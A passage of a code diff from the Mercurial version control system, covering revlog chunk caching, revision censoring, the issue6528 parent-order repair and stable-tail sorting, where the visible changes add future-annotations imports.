         """Context manager that keeps the file open for reading"""
         if (
             self.reading_handle is None
             and self.writing_handle is None
             and self.filename is not None
         ):
             with self._open() as fp:
                 self.reading_handle = fp
                 try:
                     yield
                 finally:
                     self.reading_handle = None
         else:
             yield
 
     def read_chunk(self, offset, length):
         """Read a chunk of bytes from the file.
 
         Accepts an absolute offset, length to read.
 
         Returns a str or buffer of raw byte data.
 
         Raises if the requested number of bytes could not be read.
         """
         end = offset + length
         cache_start = self._cached_chunk_position
         cache_end = cache_start + len(self._cached_chunk)
         # Is the requested chunk within the cache?
         if cache_start <= offset and end <= cache_end:
             if cache_start == offset and end == cache_end:
                 return self._cached_chunk  # avoid a copy
             relative_start = offset - cache_start
             return util.buffer(self._cached_chunk, relative_start, length)
 
         return self._read_and_update_cache(offset, length)
 
     def _read_and_update_cache(self, offset, length):
         # Cache data both forward and backward around the requested
         # data, in a fixed size window. This helps speed up operations
         # involving reading the revlog backwards.
         real_offset = offset & ~(self.default_cached_chunk_size - 1)
         real_length = (
             (offset + length + self.default_cached_chunk_size)
             & ~(self.default_cached_chunk_size - 1)
         ) - real_offset
         with self._read_handle() as file_obj:
             file_obj.seek(real_offset)
             data = file_obj.read(real_length)
 
         self._add_cached_chunk(real_offset, data)
 
         relative_offset = offset - real_offset
         got = len(data) - relative_offset
         if got < length:
             message = PARTIAL_READ_MSG % (self.filename, length, offset, got)
             raise error.RevlogError(message)
 
         if offset != real_offset or real_length != length:
             return util.buffer(data, relative_offset, length)
         return data
 
     def _add_cached_chunk(self, offset, data):
         """Add to or replace the cached data chunk.
 
         Accepts an absolute offset and the data that is at that location.
         """
         if (
             self._cached_chunk_position + len(self._cached_chunk) == offset
             and len(self._cached_chunk) + len(data) < _MAX_CACHED_CHUNK_SIZE
         ):
             # add to existing cache
             self._cached_chunk += data
         else:
             self._cached_chunk = data
             self._cached_chunk_position = offset

mercurial/revlogutils/rewrite.py

@@ -1,883 +1,885
 # censor code related to censoring revision
 # coding: utf8
 #
 # Copyright 2021 Pierre-Yves David <[e-mail]>
 # Copyright 2015 Google, Inc <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 import binascii
 import contextlib
 import os
 import struct
 
 from ..node import (
     nullrev,
 )
 from .constants import (
     COMP_MODE_PLAIN,
     ENTRY_DATA_COMPRESSED_LENGTH,
     ENTRY_DATA_COMPRESSION_MODE,
     ENTRY_DATA_OFFSET,
     ENTRY_DATA_UNCOMPRESSED_LENGTH,
     ENTRY_DELTA_BASE,
     ENTRY_LINK_REV,
     ENTRY_NODE_ID,
     ENTRY_PARENT_1,
     ENTRY_PARENT_2,
     ENTRY_SIDEDATA_COMPRESSED_LENGTH,
     ENTRY_SIDEDATA_COMPRESSION_MODE,
     ENTRY_SIDEDATA_OFFSET,
     REVIDX_ISCENSORED,
     REVLOGV0,
     REVLOGV1,
 )
 from ..i18n import _
 
 from .. import (
     error,
     mdiff,
     pycompat,
     revlogutils,
     util,
 )
 from ..utils import (
     storageutil,
 )
 from . import (
     constants,
     deltas,
 )
 
 
 def v1_censor(rl, tr, censor_nodes, tombstone=b''):
     """censors a revision in a "version 1" revlog"""
     assert rl._format_version == constants.REVLOGV1, rl._format_version
 
     # avoid cycle
     from .. import revlog
 
     censor_revs = set(rl.rev(node) for node in censor_nodes)
     tombstone = storageutil.packmeta({b'censored': tombstone}, b'')
 
     # Rewriting the revlog in place is hard. Our strategy for censoring is
     # to create a new revlog, copy all revisions to it, then replace the
     # revlogs on transaction close.
     #
     # This is a bit dangerous. We could easily have a mismatch of state.
     newrl = revlog.revlog(
         rl.opener,
         target=rl.target,
         radix=rl.radix,
         postfix=b'tmpcensored',
         censorable=True,
         data_config=rl.data_config,
         delta_config=rl.delta_config,
         feature_config=rl.feature_config,
         may_inline=rl._inline,
     )
     # inline splitting will prepare some transaction work that will get
     # confused by the final file move. So if there is a risk of not being
     # inline at the end, we prevent the new revlog to be inline in the first
     # place.
     assert not (newrl._inline and not rl._inline)
 
     for rev in rl.revs():
         node = rl.node(rev)
         p1, p2 = rl.parents(node)
 
         if rev in censor_revs:
             newrl.addrawrevision(
                 tombstone,
                 tr,
                 rl.linkrev(rev),
                 p1,
                 p2,
                 node,
                 constants.REVIDX_ISCENSORED,
             )
 
             if newrl.deltaparent(rev) != nullrev:
                 m = _(b'censored revision stored as delta; cannot censor')
                 h = _(
                     b'censoring of revlogs is not fully implemented;'
                     b' please report this bug'
                 )
                 raise error.Abort(m, hint=h)
             continue
 
         if rl.iscensored(rev):
             if rl.deltaparent(rev) != nullrev:
                 m = _(
                     b'cannot censor due to censored '
                     b'revision having delta stored'
                 )
                 raise error.Abort(m)
             rawtext = rl._inner._chunk(rev)
         else:
             rawtext = rl.rawdata(rev)
 
         newrl.addrawrevision(
             rawtext, tr, rl.linkrev(rev), p1, p2, node, rl.flags(rev)
         )
 
     tr.addbackup(rl._indexfile, location=b'store')
     if not rl._inline:
         tr.addbackup(rl._datafile, location=b'store')
 
     rl.opener.rename(newrl._indexfile, rl._indexfile)
     if newrl._inline:
         assert rl._inline
     else:
         assert not rl._inline
         rl.opener.rename(newrl._datafile, rl._datafile)
 
     rl.clearcaches()
     chunk_cache = rl._loadindex()
     rl._load_inner(chunk_cache)
 
 
 def v2_censor(revlog, tr, censor_nodes, tombstone=b''):
     """censors a revision in a "version 2" revlog"""
     assert revlog._format_version != REVLOGV0, revlog._format_version
     assert revlog._format_version != REVLOGV1, revlog._format_version
 
     censor_revs = {revlog.rev(node) for node in censor_nodes}
     _rewrite_v2(revlog, tr, censor_revs, tombstone)
 
 
 def _rewrite_v2(revlog, tr, censor_revs, tombstone=b''):
     """rewrite a revlog to censor some of its content
 
     General principle
 
     We create new revlog files (index/data/sidedata) to copy the content of
     the existing data without the censored data.
 
     We need to recompute new delta for any revision that used the censored
     revision as delta base. As the cumulative size of the new delta may be
     large, we store them in a temporary file until they are stored in their
     final destination.
 
     All data before the censored data can be blindly copied. The rest needs
     to be copied as we go and the associated index entry needs adjustement.
     """
     assert revlog._format_version != REVLOGV0, revlog._format_version
     assert revlog._format_version != REVLOGV1, revlog._format_version
 
     old_index = revlog.index
     docket = revlog._docket
 
     tombstone = storageutil.packmeta({b'censored': tombstone}, b'')
 
     first_excl_rev = min(censor_revs)
 
     first_excl_entry = revlog.index[first_excl_rev]
     index_cutoff = revlog.index.entry_size * first_excl_rev
     data_cutoff = first_excl_entry[ENTRY_DATA_OFFSET] >> 16
     sidedata_cutoff = revlog.sidedata_cut_off(first_excl_rev)
 
     with pycompat.unnamedtempfile(mode=b"w+b") as tmp_storage:
         # rev → (new_base, data_start, data_end, compression_mode)
         rewritten_entries = _precompute_rewritten_delta(
             revlog,
             old_index,
             censor_revs,
             tmp_storage,
         )
 
         all_files = _setup_new_files(
             revlog,
             index_cutoff,
             data_cutoff,
             sidedata_cutoff,
         )
 
         # we dont need to open the old index file since its content already
         # exist in a usable form in `old_index`.
         with all_files() as open_files:
             (
                 old_data_file,
                 old_sidedata_file,
                 new_index_file,
                 new_data_file,
                 new_sidedata_file,
             ) = open_files
 
             # writing the censored revision
 
             # Writing all subsequent revisions
             for rev in range(first_excl_rev, len(old_index)):
                 if rev in censor_revs:
                     _rewrite_censor(
                         revlog,
                         old_index,
                         open_files,
                         rev,
                         tombstone,
                     )
                 else:
                     _rewrite_simple(
                         revlog,
                         old_index,
                         open_files,
                         rev,
                         rewritten_entries,
                         tmp_storage,
                     )
     docket.write(transaction=None, stripping=True)
 
 
 def _precompute_rewritten_delta(
     revlog,
     old_index,
     excluded_revs,
     tmp_storage,
 ):
     """Compute new delta for revisions whose delta is based on revision that
     will not survive as is.
 
     Return a mapping: {rev → (new_base, data_start, data_end, compression_mode)}
     """
     dc = deltas.deltacomputer(revlog)
     rewritten_entries = {}
     first_excl_rev = min(excluded_revs)
     with revlog.reading():
         for rev in range(first_excl_rev, len(old_index)):
             if rev in excluded_revs:
                 # this revision will be preserved as is, so we don't need to
                 # consider recomputing a delta.
                 continue
             entry = old_index[rev]
             if entry[ENTRY_DELTA_BASE] not in excluded_revs:
                 continue
             # This is a revision that use the censored revision as the base
             # for its delta. We need a need new deltas
             if entry[ENTRY_DATA_UNCOMPRESSED_LENGTH] == 0:
                 # this revision is empty, we can delta against nullrev
                 rewritten_entries[rev] = (nullrev, 0, 0, COMP_MODE_PLAIN)
             else:
                 text = revlog.rawdata(rev)
                 info = revlogutils.revisioninfo(
                     node=entry[ENTRY_NODE_ID],
                     p1=revlog.node(entry[ENTRY_PARENT_1]),
                     p2=revlog.node(entry[ENTRY_PARENT_2]),
                     btext=[text],
                     textlen=len(text),
                     cachedelta=None,
                     flags=entry[ENTRY_DATA_OFFSET] & 0xFFFF,
                 )
                 d = dc.finddeltainfo(
                     info, excluded_bases=excluded_revs, target_rev=rev
                 )
                 default_comp = revlog._docket.default_compression_header
                 comp_mode, d = deltas.delta_compression(default_comp, d)
                 # using `tell` is a bit lazy, but we are not here for speed
                 start = tmp_storage.tell()
                 tmp_storage.write(d.data[1])
                 end = tmp_storage.tell()
                 rewritten_entries[rev] = (d.base, start, end, comp_mode)
     return rewritten_entries
 
 
 def _setup_new_files(
     revlog,
     index_cutoff,
     data_cutoff,
     sidedata_cutoff,
 ):
     """
 
     return a context manager to open all the relevant files:
     - old_data_file,
     - old_sidedata_file,
     - new_index_file,
     - new_data_file,
     - new_sidedata_file,
 
     The old_index_file is not here because it is accessed through the
     `old_index` object if the caller function.
     """
     docket = revlog._docket
     old_index_filepath = revlog.opener.join(docket.index_filepath())
     old_data_filepath = revlog.opener.join(docket.data_filepath())
     old_sidedata_filepath = revlog.opener.join(docket.sidedata_filepath())
 
     new_index_filepath = revlog.opener.join(docket.new_index_file())
     new_data_filepath = revlog.opener.join(docket.new_data_file())
     new_sidedata_filepath = revlog.opener.join(docket.new_sidedata_file())
 
     util.copyfile(old_index_filepath, new_index_filepath, nb_bytes=index_cutoff)
     util.copyfile(old_data_filepath, new_data_filepath, nb_bytes=data_cutoff)
     util.copyfile(
         old_sidedata_filepath,
         new_sidedata_filepath,
         nb_bytes=sidedata_cutoff,
     )
     revlog.opener.register_file(docket.index_filepath())
     revlog.opener.register_file(docket.data_filepath())
     revlog.opener.register_file(docket.sidedata_filepath())
 
     docket.index_end = index_cutoff
     docket.data_end = data_cutoff
     docket.sidedata_end = sidedata_cutoff
 
     # reload the revlog internal information
     revlog.clearcaches()
     revlog._loadindex(docket=docket)
 
     @contextlib.contextmanager
     def all_files_opener():
         # hide opening in an helper function to please check-code, black
         # and various python version at the same time
         with open(old_data_filepath, 'rb') as old_data_file:
             with open(old_sidedata_filepath, 'rb') as old_sidedata_file:
                 with open(new_index_filepath, 'r+b') as new_index_file:
                     with open(new_data_filepath, 'r+b') as new_data_file:
                         with open(
                             new_sidedata_filepath, 'r+b'
                         ) as new_sidedata_file:
                             new_index_file.seek(0, os.SEEK_END)
                             assert new_index_file.tell() == index_cutoff
                             new_data_file.seek(0, os.SEEK_END)
                             assert new_data_file.tell() == data_cutoff
                             new_sidedata_file.seek(0, os.SEEK_END)
                             assert new_sidedata_file.tell() == sidedata_cutoff
                             yield (
                                 old_data_file,
                                 old_sidedata_file,
                                 new_index_file,
                                 new_data_file,
                                 new_sidedata_file,
                             )
 
     return all_files_opener
 
 
 def _rewrite_simple(
     revlog,
     old_index,
     all_files,
     rev,
     rewritten_entries,
     tmp_storage,
 ):
     """append a normal revision to the index after the rewritten one(s)"""
     (
         old_data_file,
         old_sidedata_file,
         new_index_file,
         new_data_file,
         new_sidedata_file,
     ) = all_files
     entry = old_index[rev]
     flags = entry[ENTRY_DATA_OFFSET] & 0xFFFF
     old_data_offset = entry[ENTRY_DATA_OFFSET] >> 16
 
     if rev not in rewritten_entries:
         old_data_file.seek(old_data_offset)
         new_data_size = entry[ENTRY_DATA_COMPRESSED_LENGTH]
         new_data = old_data_file.read(new_data_size)
         data_delta_base = entry[ENTRY_DELTA_BASE]
         d_comp_mode = entry[ENTRY_DATA_COMPRESSION_MODE]
     else:
         (
             data_delta_base,
             start,
             end,
             d_comp_mode,
         ) = rewritten_entries[rev]
         new_data_size = end - start
         tmp_storage.seek(start)
         new_data = tmp_storage.read(new_data_size)
 
     # It might be faster to group continuous read/write operation,
     # however, this is censor, an operation that is not focussed
     # around stellar performance. So I have not written this
     # optimisation yet.
     new_data_offset = new_data_file.tell()
     new_data_file.write(new_data)
 
     sidedata_size = entry[ENTRY_SIDEDATA_COMPRESSED_LENGTH]
     new_sidedata_offset = new_sidedata_file.tell()
     if 0 < sidedata_size:
         old_sidedata_offset = entry[ENTRY_SIDEDATA_OFFSET]
         old_sidedata_file.seek(old_sidedata_offset)
         new_sidedata = old_sidedata_file.read(sidedata_size)
         new_sidedata_file.write(new_sidedata)
 
     data_uncompressed_length = entry[ENTRY_DATA_UNCOMPRESSED_LENGTH]
     sd_com_mode = entry[ENTRY_SIDEDATA_COMPRESSION_MODE]
     assert data_delta_base <= rev, (data_delta_base, rev)
 
     new_entry = revlogutils.entry(
         flags=flags,
         data_offset=new_data_offset,
         data_compressed_length=new_data_size,
         data_uncompressed_length=data_uncompressed_length,
         data_delta_base=data_delta_base,
         link_rev=entry[ENTRY_LINK_REV],
         parent_rev_1=entry[ENTRY_PARENT_1],
         parent_rev_2=entry[ENTRY_PARENT_2],
         node_id=entry[ENTRY_NODE_ID],
         sidedata_offset=new_sidedata_offset,
         sidedata_compressed_length=sidedata_size,
         data_compression_mode=d_comp_mode,
         sidedata_compression_mode=sd_com_mode,
     )
     revlog.index.append(new_entry)
     entry_bin = revlog.index.entry_binary(rev)
     new_index_file.write(entry_bin)
 
     revlog._docket.index_end = new_index_file.tell()
     revlog._docket.data_end = new_data_file.tell()
     revlog._docket.sidedata_end = new_sidedata_file.tell()
 
 
 def _rewrite_censor(
     revlog,
     old_index,
     all_files,
     rev,
     tombstone,
 ):
     """rewrite and append a censored revision"""
     (
         old_data_file,
         old_sidedata_file,
         new_index_file,
         new_data_file,
         new_sidedata_file,
     ) = all_files
     entry = old_index[rev]
 
     # XXX consider trying the default compression too
     new_data_size = len(tombstone)
     new_data_offset = new_data_file.tell()
     new_data_file.write(tombstone)
 
     # we are not adding any sidedata as they might leak info about the censored version
 
     link_rev = entry[ENTRY_LINK_REV]
 
     p1 = entry[ENTRY_PARENT_1]
     p2 = entry[ENTRY_PARENT_2]
 
     new_entry = revlogutils.entry(
         flags=constants.REVIDX_ISCENSORED,
         data_offset=new_data_offset,
         data_compressed_length=new_data_size,
         data_uncompressed_length=new_data_size,
         data_delta_base=rev,
         link_rev=link_rev,
         parent_rev_1=p1,
         parent_rev_2=p2,
         node_id=entry[ENTRY_NODE_ID],
         sidedata_offset=0,
         sidedata_compressed_length=0,
         data_compression_mode=COMP_MODE_PLAIN,
         sidedata_compression_mode=COMP_MODE_PLAIN,
     )
     revlog.index.append(new_entry)
     entry_bin = revlog.index.entry_binary(rev)
     new_index_file.write(entry_bin)
     revlog._docket.index_end = new_index_file.tell()
     revlog._docket.data_end = new_data_file.tell()
 
 
 def _get_filename_from_filelog_index(path):
     # Drop the extension and the `data/` prefix
     path_part = path.rsplit(b'.', 1)[0].split(b'/', 1)
     if len(path_part) < 2:
         msg = _(b"cannot recognize filelog from filename: '%s'")
         msg %= path
         raise error.Abort(msg)
 
     return path_part[1]
 
 
 def _filelog_from_filename(repo, path):
     """Returns the filelog for the given `path`. Stolen from `engine.py`"""
 
     from .. import filelog  # avoid cycle
 
     fl = filelog.filelog(repo.svfs, path)
     return fl
 
 
 def _write_swapped_parents(repo, rl, rev, offset, fp):
     """Swaps p1 and p2 and overwrites the revlog entry for `rev` in `fp`"""
     from ..pure import parsers  # avoid cycle
 
     if repo._currentlock(repo._lockref) is None:
         # Let's be paranoid about it
         msg = "repo needs to be locked to rewrite parents"
         raise error.ProgrammingError(msg)
 
     index_format = parsers.IndexObject.index_format
     entry = rl.index[rev]
     new_entry = list(entry)
     new_entry[5], new_entry[6] = entry[6], entry[5]
     packed = index_format.pack(*new_entry[:8])
     fp.seek(offset)
     fp.write(packed)
 
 
 def _reorder_filelog_parents(repo, fl, to_fix):
     """
     Swaps p1 and p2 for all `to_fix` revisions of filelog `fl` and writes the
     new version to disk, overwriting the old one with a rename.
     """
     from ..pure import parsers  # avoid cycle
 
     ui = repo.ui
     assert len(to_fix) > 0
     rl = fl._revlog
     if rl._format_version != constants.REVLOGV1:
         msg = "expected version 1 revlog, got version '%d'" % rl._format_version
         raise error.ProgrammingError(msg)
 
     index_file = rl._indexfile
     new_file_path = index_file + b'.tmp-parents-fix'
     repaired_msg = _(b"repaired revision %d of 'filelog %s'\n")
 
     with ui.uninterruptible():
         try:
             util.copyfile(
                 rl.opener.join(index_file),
                 rl.opener.join(new_file_path),
                 checkambig=rl.data_config.check_ambig,
             )
 
             with rl.opener(new_file_path, mode=b"r+") as fp:
                 if rl._inline:
                     index = parsers.InlinedIndexObject(fp.read())
                     for rev in fl.revs():
                         if rev in to_fix:
                             offset = index._calculate_index(rev)
                             _write_swapped_parents(repo, rl, rev, offset, fp)
                             ui.write(repaired_msg % (rev, index_file))
                 else:
                     index_format = parsers.IndexObject.index_format
                     for rev in to_fix:
                         offset = rev * index_format.size
                         _write_swapped_parents(repo, rl, rev, offset, fp)
                         ui.write(repaired_msg % (rev, index_file))
 
             rl.opener.rename(new_file_path, index_file)
             rl.clearcaches()
             rl._loadindex()
         finally:
             util.tryunlink(new_file_path)
 
 
 def _is_revision_affected(fl, filerev, metadata_cache=None):
     full_text = lambda: fl._revlog.rawdata(filerev)
     parent_revs = lambda: fl._revlog.parentrevs(filerev)
     return _is_revision_affected_inner(
         full_text, parent_revs, filerev, metadata_cache
     )
 
 
 def _is_revision_affected_inner(
     full_text,
     parents_revs,
     filerev,
     metadata_cache=None,
 ):
     """Mercurial currently (5.9rc0) uses `p1 == nullrev and p2 != nullrev` as a
     special meaning compared to the reverse in the context of filelog-based
     copytracing. issue6528 exists because new code assumed that parent ordering
     didn't matter, so this detects if the revision contains metadata (since
     it's only used for filelog-based copytracing) and its parents are in the
     "wrong" order."""
     try:
         raw_text = full_text()
     except error.CensoredNodeError:
         # We don't care about censored nodes as they never carry metadata
         return False
 
     # raw text can be a `memoryview`, which doesn't implement `startswith`
     has_meta = bytes(raw_text[:2]) == b'\x01\n'
     if metadata_cache is not None:
         metadata_cache[filerev] = has_meta
     if has_meta:
         (p1, p2) = parents_revs()
         if p1 != nullrev and p2 == nullrev:
             return True
     return False
 
 
 def _is_revision_affected_fast(repo, fl, filerev, metadata_cache):
     rl = fl._revlog
     is_censored = lambda: rl.iscensored(filerev)
     delta_base = lambda: rl.deltaparent(filerev)
     delta = lambda: rl._chunk(filerev)
     full_text = lambda: rl.rawdata(filerev)
     parent_revs = lambda: rl.parentrevs(filerev)
     return _is_revision_affected_fast_inner(
         is_censored,
         delta_base,
         delta,
         full_text,
         parent_revs,
         filerev,
         metadata_cache,
     )
 
 
 def _is_revision_affected_fast_inner(
     is_censored,
     delta_base,
     delta,
     full_text,
     parent_revs,
     filerev,
     metadata_cache,
 ):
     """Optimization fast-path for `_is_revision_affected`.
 
     `metadata_cache` is a dict of `{rev: has_metadata}` which allows any
     revision to check if its base has metadata, saving computation of the full
     text, instead looking at the current delta.
 
     This optimization only works if the revisions are looked at in order."""
 
     if is_censored():
         # Censored revisions don't contain metadata, so they cannot be affected
         metadata_cache[filerev] = False
         return False
 
     p1, p2 = parent_revs()
     if p1 == nullrev or p2 != nullrev:
         return False
 
     delta_parent = delta_base()
     parent_has_metadata = metadata_cache.get(delta_parent)
     if parent_has_metadata is None:
         return _is_revision_affected_inner(
             full_text,
             parent_revs,
             filerev,
             metadata_cache,
         )
 
     chunk = delta()
     if not len(chunk):
         # No diff for this revision
         return parent_has_metadata
 
     header_length = 12
     if len(chunk) < header_length:
         raise error.Abort(_(b"patch cannot be decoded"))
 
     start, _end, _length = struct.unpack(b">lll", chunk[:header_length])
 
     if start < 2:  # len(b'\x01\n') == 2
         # This delta does *something* to the metadata marker (if any).
         # Check it the slow way
         is_affected = _is_revision_affected_inner(
             full_text,
             parent_revs,
             filerev,
             metadata_cache,
         )
         return is_affected
 
     # The diff did not remove or add the metadata header, it's then in the same
     # situation as its parent
     metadata_cache[filerev] = parent_has_metadata
     return parent_has_metadata
 
 
 def _from_report(ui, repo, context, from_report, dry_run):
     """
     Fix the revisions given in the `from_report` file, but still checks if the
     revisions are indeed affected to prevent an unfortunate cyclic situation
     where we'd swap well-ordered parents again.
 
     See the doc for `debug_fix_issue6528` for the format documentation.
     """
     ui.write(_(b"loading report file '%s'\n") % from_report)
 
     with context(), open(from_report, mode='rb') as f:
         for line in f.read().split(b'\n'):
             if not line:
                 continue
             filenodes, filename = line.split(b' ', 1)
             fl = _filelog_from_filename(repo, filename)
             to_fix = set(
                 fl.rev(binascii.unhexlify(n)) for n in filenodes.split(b',')
             )
             excluded = set()
 
             for filerev in to_fix:
                 if _is_revision_affected(fl, filerev):
                     msg = b"found affected revision %d for filelog '%s'\n"
                     ui.warn(msg % (filerev, filename))
                 else:
                     msg = _(b"revision %s of file '%s' is not affected\n")
                     msg %= (binascii.hexlify(fl.node(filerev)), filename)
                     ui.warn(msg)
                     excluded.add(filerev)
 
             to_fix = to_fix - excluded
             if not to_fix:
                 msg = _(b"no affected revisions were found for '%s'\n")
                 ui.write(msg % filename)
                 continue
             if not dry_run:
                 _reorder_filelog_parents(repo, fl, sorted(to_fix))
 
 
 def filter_delta_issue6528(revlog, deltas_iter):
     """filter incomind deltas to repaire issue 6528 on the fly"""
     metadata_cache = {}
 
     deltacomputer = deltas.deltacomputer(revlog)
 
     for rev, d in enumerate(deltas_iter, len(revlog)):
         (
             node,
             p1_node,
             p2_node,
             linknode,
             deltabase,
             delta,
             flags,
             sidedata,
         ) = d
 
         if not revlog.index.has_node(deltabase):
             raise error.LookupError(
                 deltabase, revlog.radix, _(b'unknown parent')
             )
         base_rev = revlog.rev(deltabase)
         if not revlog.index.has_node(p1_node):
             raise error.LookupError(p1_node, revlog.radix, _(b'unknown parent'))
         p1_rev = revlog.rev(p1_node)
         if not revlog.index.has_node(p2_node):
             raise error.LookupError(p2_node, revlog.radix, _(b'unknown parent'))
         p2_rev = revlog.rev(p2_node)
 
         is_censored = lambda: bool(flags & REVIDX_ISCENSORED)
         delta_base = lambda: revlog.rev(delta_base)
         delta_base = lambda: base_rev
         parent_revs = lambda: (p1_rev, p2_rev)
 
         def full_text():
             # note: being able to reuse the full text computation in the
             # underlying addrevision would be useful however this is a bit too
             # intrusive the for the "quick" issue6528 we are writing before the
             # 5.8 release
             textlen = mdiff.patchedsize(revlog.size(base_rev), delta)
 
             revinfo = revlogutils.revisioninfo(
                 node,
                 p1_node,
                 p2_node,
                 [None],
                 textlen,
                 (base_rev, delta),
                 flags,
             )
             return deltacomputer.buildtext(revinfo)
 
         is_affected = _is_revision_affected_fast_inner(
             is_censored,
             delta_base,
             lambda: delta,
             full_text,
             parent_revs,
             rev,
             metadata_cache,
         )
         if is_affected:
             d = (
                 node,
                 p2_node,
                 p1_node,
                 linknode,
                 deltabase,
                 delta,
                 flags,
                 sidedata,
             )
         yield d
 
 
 def repair_issue6528(
     ui, repo, dry_run=False, to_report=None, from_report=None, paranoid=False
 ):
     @contextlib.contextmanager
     def context():
         if dry_run or to_report:  # No need for locking
             yield
         else:
             with repo.wlock(), repo.lock():
                 yield
 
     if from_report:
         return _from_report(ui, repo, context, from_report, dry_run)
 
     report_entries = []
 
     with context():
         files = list(
             entry
             for entry in repo.store.data_entries()
             if entry.is_revlog and entry.is_filelog
         )
 
         progress = ui.makeprogress(
             _(b"looking for affected revisions"),
             unit=_(b"filelogs"),
             total=len(files),
         )
         found_nothing = True
 
         for entry in files:
             progress.increment()
             filename = entry.target_id
             fl = _filelog_from_filename(repo, entry.target_id)
 
             # Set of filerevs (or hex filenodes if `to_report`) that need fixing
             to_fix = set()
             metadata_cache = {}
             for filerev in fl.revs():
                 affected = _is_revision_affected_fast(
                     repo, fl, filerev, metadata_cache
                 )
                 if paranoid:
                     slow = _is_revision_affected(fl, filerev)
                     if slow != affected:
                         msg = _(b"paranoid check failed for '%s' at node %s")
                         node = binascii.hexlify(fl.node(filerev))
                         raise error.Abort(msg % (filename, node))
                 if affected:
                     msg = b"found affected revision %d for file '%s'\n"
                     ui.warn(msg % (filerev, filename))
                     found_nothing = False
                     if not dry_run:
                         if to_report:
                             to_fix.add(binascii.hexlify(fl.node(filerev)))
                         else:
                             to_fix.add(filerev)
 
             if to_fix:
                 to_fix = sorted(to_fix)
                 if to_report:
                     report_entries.append((filename, to_fix))
                 else:
                     _reorder_filelog_parents(repo, fl, to_fix)
 
         if found_nothing:
             ui.write(_(b"no affected revisions were found\n"))
 
         if to_report and report_entries:
             with open(to_report, mode="wb") as f:
                 for path, to_fix in report_entries:
                     f.write(b"%s %s\n" % (b",".join(to_fix), path))
 
         progress.complete()

mercurial/stabletailgraph/stabletailsort.py

@@ -1,172 +1,174
 # stabletailsort.py - stable ordering of revisions
 #
 # Copyright 2021-2023 Pacien TRAN-GIRARD <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """
 Stable-tail sort computation.
 
 The "stable-tail sort", or STS, is a reverse topological ordering of the
 ancestors of a node, which tends to share large suffixes with the stable-tail
 sort of ancestors and other nodes, giving it its name.
 
 Its properties should make it suitable for making chunks of ancestors with high
 reuse and incrementality for example.
 
 This module and implementation are experimental. Most functions are not yet
 optimised to operate on large production graphs.
 """
 
+from __future__ import annotations
+
 import itertools
 from ..node import nullrev
 from .. import ancestor
 
 
 def _sorted_parents(cl, p1, p2):
     """
     Chooses and returns the pair (px, pt) from (p1, p2).
 
     Where
     "px" denotes the parent starting the "exclusive" part, and
     "pt" denotes the parent starting the "Tail" part.
 
     "px" is chosen as the parent with the lowest rank with the goal of
     minimising the size of the exclusive part and maximise the size of the
     tail part, hopefully reducing the overall complexity of the stable-tail
     sort.
 
     In case of equal ranks, the stable node ID is used as a tie-breaker.
     """
     r1, r2 = cl.fast_rank(p1), cl.fast_rank(p2)
     if r1 < r2:
         return (p1, p2)
     elif r1 > r2:
         return (p2, p1)
     elif cl.node(p1) < cl.node(p2):
         return (p1, p2)
     else:
         return (p2, p1)
 
 
 def _nonoedipal_parent_revs(cl, rev):
     """
     Returns the non-œdipal parent pair of the given revision.
 
     An œdipal merge is a merge with parents p1, p2 with either
     p1 in ancestors(p2) or p2 in ancestors(p1).
     In the first case, p1 is the œdipal parent.
     In the second case, p2 is the œdipal parent.
 
     Œdipal edges start empty exclusive parts. They do not bring new ancestors.
     As such, they can be skipped when computing any topological sort or any
     iteration over the ancestors of a node.
 
     The œdipal edges are eliminated here using the rank information.
     """
     p1, p2 = cl.parentrevs(rev)
     if p1 == nullrev or cl.fast_rank(p2) == cl.fast_rank(rev) - 1:
         return p2, nullrev
     elif p2 == nullrev or cl.fast_rank(p1) == cl.fast_rank(rev) - 1:
         return p1, nullrev
     else:
         return p1, p2
 
 
 def _parents(cl, rev):
     p1, p2 = _nonoedipal_parent_revs(cl, rev)
     if p2 == nullrev:
         return p1, p2
 
     return _sorted_parents(cl, p1, p2)
 
 
 def _stable_tail_sort_naive(cl, head_rev):
     """
     Naive topological iterator of the ancestors given by the stable-tail sort.
 
     The stable-tail sort of a node "h" is defined as the sequence:
     sts(h) := [h] + excl(h) + sts(pt(h))
     where excl(h) := u for u in sts(px(h)) if u not in ancestors(pt(h))
 
     This implementation uses a call-stack whose size is
     O(number of open merges).
 
     As such, this implementation exists mainly as a defining reference.
     """
     cursor_rev = head_rev
     while cursor_rev != nullrev:
         yield cursor_rev
 
         px, pt = _parents(cl, cursor_rev)
         if pt == nullrev:
             cursor_rev = px
         else:
             tail_ancestors = ancestor.lazyancestors(
                 cl.parentrevs, (pt,), inclusive=True
             )
             exclusive_ancestors = (
                 a
                 for a in _stable_tail_sort_naive(cl, px)
                 if a not in tail_ancestors
             )
 
             # Notice that excl(cur) is disjoint from ancestors(pt),
             # so there is no double-counting:
             # rank(cur) = len([cur]) + len(excl(cur)) + rank(pt)
             excl_part_size = cl.fast_rank(cursor_rev) - cl.fast_rank(pt) - 1
             yield from itertools.islice(exclusive_ancestors, excl_part_size)
             cursor_rev = pt
 
 
 def _find_all_leaps_naive(cl, head_rev):
     """
     Yields the leaps in the stable-tail sort of the given revision.
 
     A leap is a pair of revisions (source, target) consecutive in the
     stable-tail sort of a head, for which target != px(source).
 
     Leaps are yielded in the same order as encountered in the stable-tail sort,
     from head to root.
     """
     sts = _stable_tail_sort_naive(cl, head_rev)
     prev = next(sts)
     for current in sts:
         if current != _parents(cl, prev)[0]:
             yield (prev, current)
 
         prev = current
 
 
 def _find_specific_leaps_naive(cl, head_rev):
     """
     Returns the specific leaps in the stable-tail sort of the given revision.
 
     Specific leaps are leaps appear in the stable-tail sort of a given
     revision, but not in the stable-tail sort of any of its ancestors.
 
     The final leaps (leading to the pt of the considered merge) are omitted.
 
     Only merge nodes can have associated specific leaps.
 
     This implementations uses the whole leap sets of the given revision and
     of its parents.
     """
     px, pt = _parents(cl, head_rev)
     if px == nullrev or pt == nullrev:
         return  # linear nodes cannot have specific leaps
 
     parents_leaps = set(_find_all_leaps_naive(cl, px))
 
     sts = _stable_tail_sort_naive(cl, head_rev)
     prev = next(sts)
     for current in sts:
         if current == pt:
             break
         if current != _parents(cl, prev)[0]:
             leap = (prev, current)
             if leap not in parents_leaps:
                 yield leap
 
         prev = current

mercurial/typelib.py

@@ -1,48 +1,50
 # typelib.py - type hint aliases and support
 #
